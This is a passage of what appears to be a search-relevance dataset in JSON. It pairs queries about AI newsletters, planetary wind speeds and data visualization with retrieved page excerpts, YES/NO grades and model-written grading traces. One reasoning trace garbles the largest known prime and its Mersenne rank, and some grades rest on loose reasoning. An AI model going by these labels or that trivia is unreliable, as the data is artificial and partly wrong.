- and to inspiring    by sharing with the world.    As educators, we will have to ask big questions as we rethink teaching and learning with this technology.    We must consider our students and their future as they develop their respective relationship with writing and reading.    Right now, more questions than answers.    And as Rilke writes:   \u201cI want to beg you, as much as I can, dear sir, to be patient toward all that is unsolved in your heart and to try to love the questions themselves like locked rooms and like books that are written in a very foreign tongue. Do not now seek the answers, which cannot be given you because you would not be able to live them. And the point is, to live everything. Live the questions now. Perhaps you will then gradually, without ",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: This document is from Substack, but it does not specify any particular newsletters -> ([1], UNSATISFIED)\n2. {about the latest AI research}: The document does not specifically mention AI research -> ([1], UNSATISFIED)\n3. {societal implications of AI}: The document touches on the societal implications of AI in the context of education and poetry, but it is not the main focus -> ([2], UNSURE)\n\nAssessment: The document does not list any popular Substack newsletters and does not focus on the latest AI research. The societal implications of AI are only tangentially mentioned. Therefore, the document does not satisfy the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "The Top AI Newsletters on Substack in 2023 - AI Supremacy",
                "url": "https://www.ai-supremacy.com/p/the-top-ai-newsletters-on-substack",
                "published_date": null,
                "text": "Hey Everyone,   If Gmail thinks this is too long, read it on the  web .  (or click on the title above). Warning, this won\u2019t read like a normal post I usually do.    I wanted to give a shout-out to all the incredible A.I. Newsletters on Substack and this list just keeps growing.  If you have the time , they are all worthy of reading.   To be reader centric, I\u2019ve always believed you need to be somewhat agnostic in your coverage, and while I have my strong biases in what I enjoy reading, I also want to encourage others and my readers to discover the best knowledge and insights possible according to your preferences.    Maybe we all have our own favorites, but here I try to list many Newsletters in one place. Did I forget someone, leave me a note: (do you want a recommendation exchange? DM me on  Twitter  or  LinkedIn ).    This list purposely leaves out  beehiiv Newsletter , which are themselves amazing, this is for brevity. (otherwise the list would be in the several 100s now).     Leave a comment    Please  Restack  this list of Newsletters on  Note s for the benefit of all of our Technology readers out there. Or click the Restack (share) button at the end of this list. It looks like this:             Go to Notes   If you appreciate my approach to coverage, get the full value. This is my full-time job so your support enables me to support my family.   I have separated the Newsletters into categories for easier observations, these are entirely superficial categories mean for ease of browsing. You can see  my viral tweet  on A.I. Newsletters to get a broader range of initial insights on this.    If Gmail thinks this is too long, read it on the  web .     Read on Web    For an updated list that includes more Newcomers and Data-Engineering, see the edited LinkedIn version  here .     Top Tie  r mostly means they have been here longer and found incredible success.   Established   infers a certain paid subscription emphasis.   Ascending   means they are growing fast.   Newcomer   means they are relatively new to Substac",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: The document lists popular AI newsletters on Substack -> ([1], SATISFIED)\n2. {about the latest AI research}: The document does not explicitly state that the newsletters are about the latest AI research -> ([0], UNSURE)\n3. {societal implications of AI}: The document does not explicitly state that the newsletters cover the societal implications of AI -> ([0], UNSURE)\n\nAssessment: The document clearly satisfies the subcomponent related to listing popular Substack newsletters. Since the other subcomponents are tagged [0], they do not affect the evaluation. The document is helpful for the user's query about popular AI newsletters on Substack. YES."
            },
            {
                "grade": "YES",
                "title": "Best AI-Focused Substack Newsletters In 2023",
                "url": "https://deepgram.com/learn/top-ai-substack-newsletters-2023",
                "published_date": null,
                "text": "The power of a great newsletter is priceless(ish?). What\u2019s the key to unlocking one newsletter to rule them all? Understanding your needs as a reader. When you\u2019ve finally found a newsletter that meets your needs and preferences, you\u2019ll be guaranteed relevant content every read and consistent delivery. You\u2019re gaining valuable insights, perhaps even best practices, that you can\u2019t find anywhere else. An excellent newsletter can feel like a backstage stage pass to your favorite hobby or profession. When you find yourself counting down until the next read, you know you\u2019ve found the one. Put a ring on it\u2014or simply subscribe.  Today, we see newsletter mavens and new readers on the block coming together on the hunt for quality reads. If you\u2019re reading this blog, you\u2019re specifically on the hunt for stellar AI content. Let us share a (gentle?) reminder as to why.\u00a0 Dynamic Field of AI The dynamic field of AI is propelling forward at breakneck speed. Just a few years ago, we marveled at simple chatbots. Now, we have AI creating art, diagnosing medical conditions, and driving cars autonomously. With AI trends and updates in high demand, staying informed is essential. However, this surge in information has created a lot of noise, underscoring the value of an excellent AI newsletter. But no need to fret; we\u2019ve sifted through the noise for you. Secure your neck braces now with these top AI Substack newsletters.\u00a0 Reader Paths We acknowledge our readers have different experience levels and needs when it comes to AI newsletters. We do recommend reading all of these AI newsletters (when the time feels right), but to provide lightening speed value, we\u2019ve broken down which newsletters to read about first:\u00a0     For the AI Newsletter Mavens     For a unique beginning, start with reading about AI Snake Oil. Followed by The Algorithmic Bridge and The Gradient for a comprehensive content net. These two newsletters should have you catching timely AI news and quality research. Then What Did OpenAI Do This Week? And if you can afford the fun ",
                "model_trace": "Query Decomposition:\n1. {popular Substack newsletters}: The document lists top AI-focused Substack newsletters, so this subcomponent is met -> ([1], SATISFIED)\n2. {about the latest AI research}: The document mentions newsletters that cover timely AI news and quality research, so this subcomponent is likely met -> ([2], SATISFIED)\n3. {societal implications of AI}: The document does not explicitly mention societal implications, making it unclear if this subcomponent is covered -> ([0], UNSURE)\n\nAssessment: The document satisfies the relevant subcomponents {popular Substack newsletters} and {about the latest AI research}. YES."
            }
        ]
    },
    {
        "query": "What is the name of the planet in our solar system that has the highest average wind speeds?",
        "grid_pos": [
            0,
            9
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The naturally occurring isotope of radium with the longest half-life is Ra-226, with a half-life of 1,600 years. The chemical formula for radium is Ra.\n\n2. The largest known prime number discovered as of 2023 is 274,207,281-1, also known as the 50th Mersenne prime.\n\n3. The first book in the Dune series written by Frank Herbert is titled \"Dune\".\n\n4. The planet in our solar system with the highest average wind speeds is Neptune, with wind speeds reaching up to 2,100 km/h.\n\n5. The common name for the chemical element with atomic number 79 is gold."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Uranus - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Uranus",
                "published_date": "2001-11-05",
                "text": "\"Seventh planet\" redirects here. For other systems of numbering planets, see Planet \u00a7 History.\n Uranus ( ) Photograph of Uranus in true colour (by Voyager 2 in 1986) Discovery Discovered by William Herschel Discovery date 13 March 1781 Designations Pronunciation ( listen) [1] or ( listen) [2] Named after the Latin form \u016aranus of the Greek god \u039f\u1f50\u03c1\u03b1\u03bd\u03cc\u03c2 Ouranos Adjectives Uranian () [3] Orbital characteristics [10] [a] Epoch J2000 Aphelion 20.0965 AU (3006.39 Gm) Perihelion 18.2861 AU (2735.56 Gm) Semi-major axis 19.19126 AU (2870.972 Gm) Eccentricity 0.04717 Orbital period (sidereal) \n 84.0205 yr \n30,688.5 d [4] \n42,718 Uranian solar days [5] \n Orbital period (synodic) 369.66 days [6] Average orbital speed 6.80 km/s [6] Mean anomaly 142.238600\u00b0 Inclination 0.773\u00b0 to ecliptic 6.48\u00b0 to Sun's equator 0.99\u00b0 to invariable plane [7] Longitude of ascending node 74.006\u00b0 Time of perihelion 17\u201319 August 2050 [8] [9] Argument of perihelion 96.998857\u00b0 Known satellites 27 Physical characteristics Mean radius 25,362\u00b17 km [11] [b] Equatorial radius 25,559\u00b14 km4.007 Earths [11] [b] Polar radius 24,973\u00b120 km3.929 Earths [11] [b] Flattening 0.0229\u00b10.0008 [c] Circumference 159,354.1 km [4] Surface area 8.1156\u00d7109 km2 [4] [b] 15.91 Earths Volume 6.833\u00d71013 km3 [6] [b] 63.086 Earths Mass (8.6810\u00b10.0013)\u00d71025 kg 14.536 Earths [12] \nGM=5,793,939\u00b113 km3/s2 Mean density 1.27 g/cm3 [6] [d] Surface gravity 8.69 m/s2 [6] [b] 0.886 g Moment of inertia factor 0.23 [13] (estimate) Escape velocity 21.3 km/s [6] [b] Synodic rotation period \u22120.71832 d\u221217 h 14 m 23 s(retrograde) [5] Sidereal rotation period \u22120.71833 d \u221217 h 14 min 24 s(retrograde) [11] Equatorial rotation velocity 2.59 km/s 9,320 km/h Axial tilt 97.77\u00b0 (to orbit) [6] North pole right ascension 17h 9m 15s 257.311\u00b0 [11] North pole declination \u221215.175\u00b0 [11] Albedo 0.300 (Bond) [14] 0.488 (geom.) [15] \nSurface temp. \nmin\nmean\nmax\n\n1 bar level [16]\n\n76 K(\u2212197.2 \u00b0C)\n\n0.1 bar(tropopause) [17] \n47 K\n53 K\n57 K\n\nApparent magnitude 5.38 [18] to 6.03 [18] Angular diameter 3.3\u2033 to 4.1\u2033 [6] Atmos",
                "model_trace": "Query Decomposition:\n1. {name of the planet in our solar system}: This document is about Uranus, which is a planet in our solar system -> ([1], SATISFIED)\n2. {planet with the highest average wind speeds}: The document does not contain information about wind speeds -> ([0], UNSURE)\n\nAssessment: The document provides information about Uranus, but it does not address the specific subcomponent regarding wind speeds. Since the key information about wind speeds is missing, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "HD 80606 b - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/HD_80606_b",
                "published_date": "2008-04-06",
                "text": "From Wikipedia, the free encyclopedia\n\nHD 80606 b Computer simulation of weather systems on HD 80606 b,to scale with Jupiter Discovery Discovered by Geneva Extrasolar Planet Search Discovery site Haute-Provence Observatory Discovery date 4 April 2001 [1] Detection method Radial velocity Orbital characteristics Apastron 0.876 AU (131,000,000 km) Periastron 0.0301 AU (4,500,000 km) Semi-major axis 0.453 \u00b1 0.015 AU (67,800,000 \u00b1 2,200,000 km) [2] Eccentricity 0.9336 \u00b1 0.0002 [3] Orbital period (sidereal) 111.436 \u00b1 0.003 [2] d Average orbital speed 8.8 km/s \u2013 47.3 km/s [notes 1] Inclination 89.285 \u00b1 0.023 [3] Time of periastron 2,454,424.857 \u00b1 0.05 [2] Argument of periastron 300.4977 \u00b1 0.0045 [3] Semi-amplitude 472 \u00b1 5 [2] Star HD 80606 Physical characteristics Mean radius 0.921 \u00b1 0.036 [4] R J Mass 4.0 \u00b1 0.3 [2] M J Mean density 4,440 \u00b1 240 kg/m3 (7,480 \u00b1 400 lb/cu yd) [3] Surface gravity 9.6 g Temperature at periastron: 1500 K \n HD 80606 b (also Struve 1341 B b or HIP 45982 b) is an eccentric and hot Jupiter 190 light-years from the Sun in the constellation of Ursa Major. HD 80606 b was discovered orbiting the star HD 80606 in April 2001 by a team led by Michel Mayor and Didier Queloz. [1] With a mass 4 times that of Jupiter, it is a gas giant. Because the planet transits the host star its radius can be determined using the transit method and was found to be slightly smaller than Jupiter's. Its density is slightly less than Earth's. [3] It has an extremely eccentric orbit like a comet, with its orbit taking it very close to its star and then back out very far away from it every 111 days. [5]\n\nDiscovery[edit]\nThe variable radial velocity of HD 80606 was first noticed in 1999 from observations with the 10-m Keck 1 telescope at the W. M. Keck Observatory in Hawaii by the G-Dwarf Planet Search, a survey of nearly 1000 nearby G dwarfs to identify extrasolar planet candidates. The star was then followed up by the Geneva Extrasolar Planet Search team using the ELODIE spectrograph mounted on the 1.93-m telescope at the Hau",
                "model_trace": "Query Decomposition:\n1. {planet in our solar system}: The document is about HD 80606 b, which is an exoplanet, not a planet in our solar system -> ([1], UNSATISFIED)\n2. {highest average wind speeds}: The document does not mention wind speeds on HD 80606 b -> ([0], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponent of being about a planet in our solar system. Therefore, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "The Planet Neptune",
                "url": "https://www.weather.gov/fsd/neptune",
                "published_date": "2022-11-29",
                "text": "Sioux Falls, SD Weather Forecast Office\n\nEditor's Notice : The content found on this page has been found outdated and we will be deleting this page soon. We recommend for facts about Neptune that you check out the following pages provided by the U.S. National Aeronautics and Space Administration (NASA):\n\nNeptune - In Depth - For Teens and Adults\n All About Neptune - For Kids\n\nNeptune is the fourth and last of the \"gas giant\" planets in proximity to the Sun. Neptune is the eight planet in our solar system, at an average distance of 2.8 billion miles from the Sun. Like the other gas giants, its rotation is fast, at about 19 hours. Neptune takes 165 years to make one orbit around the Sun and has 13 known satellites. \n Atmosphere and Weather: Much of what we know about Neptune's atmosphere is from the Voyager II flyby in 1989. Like Uranus, Neptune has a dynamic atmosphere with a shroud of cold clouds. The average cloud temperature ranges from about -240 degrees to -330 degrees F. Voyager II found the clouds to be ever changing and rapidly circling the planet. Scientists were amazed at how much changeable weather Voyager II observed on Neptune. A couple of interesting features found from Voyager II's flyby were very bright, white cirrus clouds circling the globe rapidly. One cirrus cloud, nicknamed \"scooter\" was observed to move across the planet every 16 hours! These very high altitude clouds are made of methane ice crystals. The other interesting feature was dubbed the \"Great Dark Spot\", moving westward at 700 mph.\n At first, the \"Great Dark Spot\" spot appeared to be a very large, cyclonic moving storm, similar to Jupiter's \"Great Red Spot\" (although the Great Red Spot spins anti-cyclonically). But upon closer inspection, it is likely that Neptune's \"Great Dark Spot\" is a hole in the methane cloud deck, similar to the ozone hole experienced on Earth. After the Voyager II mission, the Hubble Telescope found that the \"Great Dark Spot\" had disappeared, but a new oval shaped dark spot had formed in a different location ",
                "model_trace": "Query Decomposition:\n1. {name of the planet in our solar system}: The document mentions Neptune as a planet in our solar system -> ([1], SATISFIED)\n2. {highest average wind speeds}: The document describes Neptune's atmosphere and mentions wind speeds, such as the \"Great Dark Spot\" moving at 700 mph -> ([1], SATISFIED)\n\nAssessment: The document provides information about Neptune and mentions its high wind speeds, thus satisfying both key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Which planet has the strongest winds? - Cool Cosmos",
                "url": "https://coolcosmos.ipac.caltech.edu/ask/202-Which-planet-has-the-strongest-winds-",
                "published_date": null,
                "text": "Which planet has the strongest winds?\nNeptune has the strongest winds in the Solar System. Winds whip clouds of frozen methane across the planet at speeds of more than 1,200 miles per hour (2,000 kilometers per hour). This is close to the top speed of a U.S. Navy F/A-18 Hornet fighter jet! The most powerful winds on Earth reach only about 250 miles per hour (400 kilometers per hour).",
                "model_trace": "Query Decomposition:\n1. {name of the planet}: The document provides the name of the planet -> ([1], SATISFIED)\n2. {highest average wind speeds in our solar system}: The document clearly states that Neptune has the strongest winds in the Solar System -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "What Is The Wind Speed On Other Planets?",
                "url": "https://spaceaustralia.com.au/blogs/news/what-is-the-wind-speed-on-other-planets-in-the-solar-system-%F0%9F%8C%AC%EF%B8%8F",
                "published_date": null,
                "text": "July 24, 2023   \nWelcome, space enthusiasts, to a thrilling cosmic journey through the wild and windy corners of our solar system! Today, we embark on an extraordinary adventure, exploring the incredible winds that sweep across the planets in ways that leave Earth's strongest storms in the dust.\nAs we venture through the boundless expanse of space, we'll encounter whirlwinds of unimaginable speed, shaping the landscapes of distant worlds and revealing the unique characteristics of each planet. From supersonic hurricanes to mind-boggling jet streams, hold on tight as we unveil the fastest wind speeds known to humanity.\nJoin us as we uncover the secrets of these celestial gales and unlock the marvels of our cosmic neighbors. So, buckle up your space helmets, and let's dive into the awe-inspiring realm of planetary winds, where the forces of nature reach truly astronomical levels!\n \n On\u00a0 Mercury , there is\u00a0 no wind \u00a0because there is no atmosphere. \n \n On\u00a0 Venus , however, there are extremely strong winds averaging around\u00a0 200 km/h , reaching peaks of\u00a0 400 km/h . \n \n On\u00a0 Earth , the average wind speed is\u00a0 11 km/h . The most powerful recorded wind speed was 371 km/h. \n \n On\u00a0 Mars , the average wind speed is\u00a0 96 km/h , with a peak of\u00a0 344 km/h \u00a0recorded during the Viking mission. \n \n On the gas giant\u00a0 Jupiter , a wind speed of\u00a0 643 km/h \u00a0has been recorded within the famous Great Red Spot. \n \n It is speculated that in the upper atmosphere of \u00a0Saturn , winds can reach speeds of up to\u00a0 1800 km/h \u00a0at the equator. \n \n On\u00a0 Uranus , the wind reaches speeds of\u00a0 900 km/h . \n \n On\u00a0 Neptune, \u00a0the strongest wind in the entire solar system has been recorded, reaching\u00a0 2414 km/h . \n \n HD 189733b, also known as HD 189733 Ab, is an exoplanet located outside our solar system, about 63 light-years away from Earth. It is a gas giant similar to Jupiter but orbits very close to its host star, HD 189733, making it a \"hot Jupiter.\" Due to its proximity to its star, HD 189733b experiences extreme weather conditions, including incredibly fast ",
                "model_trace": "Query Decomposition:\n1. {planet in our solar system}: The document lists wind speeds for various planets in our solar system -> ([1], SATISFIED)\n2. {highest average wind speeds}: The document provides wind speeds for each planet, including the highest wind speed recorded on Neptune -> ([1], SATISFIED)\n\nAssessment: The document clearly identifies Neptune as the planet with the highest wind speeds in our solar system. YES"
            },
            {
                "grade": "YES",
                "title": "Neptune: An Ice Giant With Diamond Rain",
                "url": "https://science.howstuffworks.com/46006-neptune-explained.htm",
                "published_date": null,
                "text": "This photograph of Neptune was reconstructed from two images taken by NASA's Voyager 2 in 1998. At the top left is the Great Dark Spot, an oval-shaped storm 8,000 miles (13,000 kilometers) wide. NASA/JPL\n\t\n\t\n\t\n\tUnless you're a pilot \u2014 or a member of the Justice League \u2014 anything that can travel at 770 miles per hour (1,238 kilometers per hour) might seem pretty darn fast. On a lukewarm day, when it's 70 degrees Fahrenheit (21 degrees Celsius) outside and atmospheric conditions are normal, that's the approximate speed of sound at Earth's sea level.\n\tBut the windspeeds on Neptune can put this figure to shame. Some Neptunian winds have been clocked at faster than 1,200 miles per hour (2,000 kilometers per hour). To date, these are the fastest winds recorded anywhere in the solar system.\n\tNeptune's location makes them all the more interesting. Here on Earth, the sun's energy is what drives our winds. Yet Neptune's the eighth planet in the solar system, about 30 times farther away from the sun than we are. The gap between Neptune and its parent star is a staggering 2.8 billion miles (4.5 billion kilometers) wide. Quite a gulf, wouldn't you say?\n\tDue to the vast divide, Neptune gets relatively little solar energy. So one might expect it to have weak or nonexistent winds. The fact that the opposite is true reflects the dynamic and mysterious composition of a truly alien world.\n\t\n\t\n\t \n\tThe Ice Giants\n\t\n\t\n\t\n\tAstronomers used to divide the planets into two broad categories. The first, called the terrestrial planets, included Mercury, Earth, Venus and Mars. All four bodies mostly consist of metals or silicate rocks and they've got solid outer surfaces.\n\tBefore the 1990s, Jupiter, Saturn, Uranus and Neptune were lumped together into the second group: the gas giants. \"Giant\" is an appropriate label. Jupiter's easily the biggest planet in our solar system, but Neptune's no runt. It has a radius of 15,299.4 miles (24,622 kilometers), making it four times wider than Earth.\n\tBy the millennium's end, however, scientists realized h",
                "model_trace": "Query Decomposition:\n1. {name of the planet in our solar system}: The document mentions Neptune, which is a planet in our solar system -> ([1], SATISFIED)\n2. {planet with the highest average wind speeds}: The document states that Neptune has winds faster than 1,200 miles per hour, the fastest recorded in the solar system -> ([1], SATISFIED)\n\nAssessment: The document clearly provides information that Neptune has the highest wind speeds in the solar system, satisfying both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "What are the emerging trends and techniques in data visualization for communicating complex scientific information?",
        "grid_pos": [
            1,
            0
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Paper/Journal/Publication",
        "reasoning_trace": [
            "These queries cover a range of topics that require a deep understanding of the internet, technology, and the world to answer well. They are specific and detailed, yet open-ended enough to test Exa's capabilities as a smart search engine. The queries touch on areas like AI, social media, ethics, consumer behavior, and data visualization - all of which are relevant and important topics that people frequently search for information on. Answering these queries well would require synthesizing information from multiple sources, understanding nuanced concepts, and drawing insights that go beyond simple factual retrieval."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Grand Tour (data visualisation) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Grand_Tour_(data_visualisation)",
                "published_date": "2016-01-14",
                "text": "From Wikipedia, the free encyclopedia\n The Grand Tour is a technique developed by Daniel Asimov in 1985, which is used to explore multivariate statistical data by means of an animation. The animation, or \"movie\", consists of a series of distinct views of the data as seen from different directions, displayed on a computer screen, that appear to change continuously and that get closer and closer to all possible views. This allows a human- or computer-based evaluation of these views, with the goal of detecting patterns that will convey useful information about the data.\n This technique is like what many museum visitors do when they encounter a complicated abstract sculpture: They walk around it to view it from all directions, in order to understand it better. The human visual system perceives visual information as a pattern on the retina, which is 2-dimensional. Thus walking around the sculpture to understand it better creates a temporal sequence of 2-dimensional images in the brain.\n The multivariate data that is the original input for any grand tour visualization is a (finite) set of points in some high-dimensional Euclidean space. This kind of set arises naturally when data is collected. Suppose that for some population of 1000 people, each person is asked to provide their age, height, weight, and number of nose hairs. Thus to each member of the population there is associated an ordered quadruple of numbers. Since n-dimensional Euclidean space is defined as all ordered n-tuples of numbers, this means that the data on 1000 people maybe be thought of as 1000 points in 4-dimensional Euclidean space. \n The grand tour converts the spatial complexity of the multivariate data set into temporal complexity by using the relatively simple 2-dimensional views of the projected data as the individual frames of the movie. (These are sometimes called \"data views\".) The projections will ordinarily be chosen so as not to change too fast, which means that the movie of the data will appear continuous to a human observer.\n A grand to",
                "model_trace": "Query Decomposition:\n1. {emerging trends in data visualization}: The document discusses the Grand Tour technique, which was developed in 1985. This is not an emerging trend -> ([1], UNSATISFIED)\n2. {techniques in data visualization for communicating complex scientific information}: The document describes the Grand Tour technique in detail, which is a technique in data visualization for exploring multivariate statistical data -> ([1], SATISFIED)\n\nAssessment: Although the document satisfies the subcomponent related to techniques in data visualization, it does not address emerging trends, which is a crucial part of the query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Rainbow box - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Rainbow_box",
                "published_date": "2018-07-05",
                "text": "From Wikipedia, the free encyclopedia\n Example of rainbow boxes displaying the 8 properties of the 20 amino acids (from the Taylor's classification) \n Euler/Venn diagram displaying amino acids properties, equivalent to the rainbow boxes above \nA rainbow box is a data visualization technique for overlapping sets. [1] Rainbow boxes are an alternative to Euler and Venn diagrams.\n The figure on the right shows rainbow boxes displaying the properties of amino acids. In rainbow boxes, the elements are shown in columns (e.g. the amino acids), and each set is represented by a rectangular box (e.g. the groups of amino acids sharing a given property). Each box covers the columns corresponding to the elements belonging to its set. When the elements of a given set are not displayed in contiguous columns, a \u201choles\u201d is present in the box of the set (in the amino acids example on the right, the \"Polar\" box has three holes). The column order is computed using a heuristic optimization algorithm, in order to minimize the number of holes.\n A specific color is associated with each column, ranging across the spectrum, and box colors are the mean of the colors of the columns it covers. Boxes are stacked vertically, the largest boxes being at the bottom. Custom colors may also be defined, depending on the data.\n Rainbow boxes were initially presented at the International Conference Information Visualisation (iV) in 2016, [2] and then published in 2017 the Journal of Visual Language and Computing. [3] A user study involving 78 students in biology compared rainbow boxes to Euler diagram for the visualization of amino acids properties. [4] Results showed that rainbow boxes lead to significantly fewer errors and lower response times. A majority of students also preferred rainbow boxes.\n\nReferences[edit]\n\n^ Alsallakh, B; Micallef, L; Aigner, W; Hauser, H; Miksch, S; Rodgers, P (2016). \"The State-of-the-Art of Set Visualization\". Computer Graphics Forum. 35 (1): 234-260.\n\n^ Lamy, JB; Berthelot, H; Capron, C; Favre, M (2016). Rainbow boxes: a",
                "model_trace": "Query Decomposition:\n1. {emerging trends in data visualization}: The document mentions rainbow boxes as a data visualization technique, which can be considered an emerging trend -> ([1], SATISFIED)\n2. {techniques in data visualization}: The document describes the rainbow box technique in detail -> ([1], SATISFIED)\n3. {communicating complex scientific information}: The document explains how rainbow boxes are used to display properties of amino acids, which is an example of communicating complex scientific information -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to emerging trends and techniques in data visualization for communicating complex scientific information. YES."
            },
            {
                "grade": "NO",
                "title": "Small Multiples \u2014 Big Clarity ~ HealthDataViz",
                "url": "https://healthdataviz.com/2012/06/22/small-multiples-big-clarity/",
                "published_date": "2012-06-22",
                "text": "The other day I was reading about Kay Weeks, a mother of triplets and a teacher at Martin High School in Arlington, Texas. Ms. Weeks guessed that her school just might be breaking a record for multiples graduating this June, and she was right. There were 18 sets of twins and two sets of triplets in the senior class \u2014 a Guinness Book record. \nI was exhausted just reading about all those small multiples, so I had a cocktail and took a nap.\nAnd then it hit me: I know about another type of small multiples, ones that don\u2019t make me want to drink or sleep (my \u201cEureka!\u201d moments are not exactly earth-shattering, I admit, but I revel in them all the same).\nIf you are up on your data visualization terms, you know that it was Edward Tufte, a statistician and Yale University professor, and a pioneer in the field of information design and data visualization, who coined the term \u201csmall multiples.\u201d (You may be familiar with other names for this type of display: Trellis Chart, Lattice Chart, Grid Chart or Panel Chart.)\n I think of small multiples as displays of data that use the same basic graphic (a line or bar graph for example) to display different parts of a data set. The beauty of small multiples is that they can show rich, multi-dimensional data without attempting to jam all the information into one, highly complex chart like this one:\n\nNow take a look at the same data displayed in a chart of small multiples:\n\nWhat problems does a small multiples chart help solve?\n\nMultiple Variables. Trying to display three or more variables in a single chart is challenging. Small multiples enable you to display a lot of variables, with less risk of confusing or even losing your viewers.\n\nConfusion. A chart crammed with data is just plain confusing. Small multiples empower a viewer to quickly grasp the meaning of an individual chart and then apply that knowledge to all the charts that follow.\n\nDifficult Comparisons. Small multiples also make it much easier to compare constant values across variables and reveal the range of potential patter",
                "model_trace": "Query Decomposition:\n1. {emerging trends in data visualization}: The document discusses the concept of \"small multiples,\" which is a specific technique in data visualization but not necessarily an emerging trend -> ([1], UNSURE)\n2. {techniques in data visualization for communicating complex scientific information}: The document explains the use of \"small multiples\" to display complex data in a more understandable way -> ([1], SATISFIED)\n\nAssessment: The document provides information on a specific technique (small multiples) that can be used to communicate complex scientific information. However, it does not address emerging trends broadly. Since the query is looking for both emerging trends and techniques, and the document only partially satisfies the query, it is not fully helpful. NO."
            },
            {
                "grade": "NO",
                "title": "Data Visualization Techniques: Communicating Complex ...",
                "url": "https://www.linkedin.com/pulse/data-visualization-techniques-communicating-complex-insights-keith-o7h6e",
                "published_date": null,
                "text": "Unlock the power of data with visualization techniques for strategic decision-making. Transform complex insights into clear, actionable visuals.\n    \n  \n      \n      \n        \n        \n         \n          \n          \n              \n          \n        Joseph Keith\n      \n      \n          \n          \n          \n            \n        Joseph Keith\n      \n          \n          \n            \n              \n            Product Executive | Customer Engagement | Business/Digital Strategy | Team Development | CSM/CSPO Certified\n                \n            \n              \n                \n          Published Jun 19, 2024\n      \n              \n        \n          \n      \n    \n      \n      \n      \n            \n                \n    \n          Data is king these days, and businesses are overwhelmed with vast amounts of information. From customer behavior patterns to operational efficiencies and market trends, the ability to extract actionable insights from complex data sets is crucial for informed decision-making. This is where data visualization techniques play a pivotal role, transforming raw data into clear, intuitive visuals that empower organizations to decipher trends, identify opportunities, and drive strategic initiatives forward.\n        \n  \n                \n    \n          Importance of Data Visualization \n     \n  \n                \n    \n          Data visualization is more than just creating pretty charts and graphs; it\u2019s about making sense of data in a way that is accessible and meaningful to stakeholders across an organization. By presenting data visually, complex relationships and patterns become easier to grasp, enabling faster and more accurate decision-making processes. Visual representations not only streamline the communication of insights but also facilitate a deeper understanding of the implications behind the numbers.\n        \n  \n                \n    \n      \n        \n       \n        \n          \n            A visualization of how data can be harnessed for success. Credit: \n          \n      \n    \n       \n  \n  \n ",
                "model_trace": "Query Decomposition:\n1. [emerging trends in data visualization]: The document does not explicitly mention emerging trends in data visualization -> ([0], UNSATISFIED)\n2. [techniques in data visualization]: The document discusses the importance and role of data visualization techniques for decision-making and communicating insights -> ([1], SATISFIED)\n3. [communicating complex scientific information]: The document focuses on business and operational data rather than scientific information -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {techniques in data visualization}, which is satisfied. The document does not provide enough information on emerging trends or specifically on communicating complex scientific information. However, it does cover data visualization techniques in a general context.\n\nGiven the user's query is specifically about emerging trends and techniques for scientific information, the document does not fully address the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "Emerging Trends in Data Visualization: Techniques and ...",
                "url": "https://medium.com/@HalderNilimesh/emerging-trends-in-data-visualization-techniques-and-examples-41aa959bcb80",
                "published_date": null,
                "text": "Data visualization is an essential tool for communicating complex information in an easy-to-understand format. As the volume and complexity of data continue to grow, staying up-to-date with the latest trends in data visualization techniques becomes increasingly important. In this article, we will explore some of the emerging trends in data visualization and provide examples and explanations to help you stay ahead of the curve in presenting your data. Interactive Visualizations Interactive visualizations are gaining popularity as they allow users to explore data more deeply and uncover insights that might not be immediately apparent in static charts or graphs. By providing options for users to filter, sort, and manipulate data, interactive visualizations enable a more personalized and engaging experience. Example: A dashboard with multiple charts, such as bar charts, pie charts, and line graphs, that allows users to filter data by date range, product category, or geographic region. By interacting with the dashboard, users can dive into specific aspects of the data and draw insights based on their interests or needs. Storytelling with Data Data storytelling is the art of combining data visualizations with narrative elements to create a compelling and engaging presentation. This approach helps to provide context for the data, making it more relatable and easier to understand for a wider audience. Data storytelling can involve using multiple visualizations, annotations, and descriptive text to guide the viewer through the data and highlight key insights. Example: An infographic that uses a combination of charts, maps, and text to illustrate the growth of renewable energy sources over time. The infographic can walk viewers through the data by highlighting key milestones, geographic trends, and the environmental impact of different energy sources. Geospatial Visualizations Geospatial visualizations, such as maps and heatmaps, are becoming increasingly important as data becomes more location-specific. These visualizatio",
                "model_trace": "Query Decomposition:\n1. {emerging trends in data visualization}: The document discusses emerging trends in data visualization, such as interactive visualizations, data storytelling, and geospatial visualizations -> ([1], SATISFIED)\n2. {techniques in data visualization}: The document provides specific techniques like interactive visualizations, data storytelling, and geospatial visualizations -> ([1], SATISFIED)\n3. {communicating complex scientific information}: The document focuses on data visualization for communicating complex information, though it does not explicitly mention \"scientific\" information, it can be inferred that the techniques would be applicable to scientific data as well -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Techniques for Compelling Data Visualization",
                "url": "https://www.institutedata.com/us/blog/compelling-data-visualization/",
                "published_date": null,
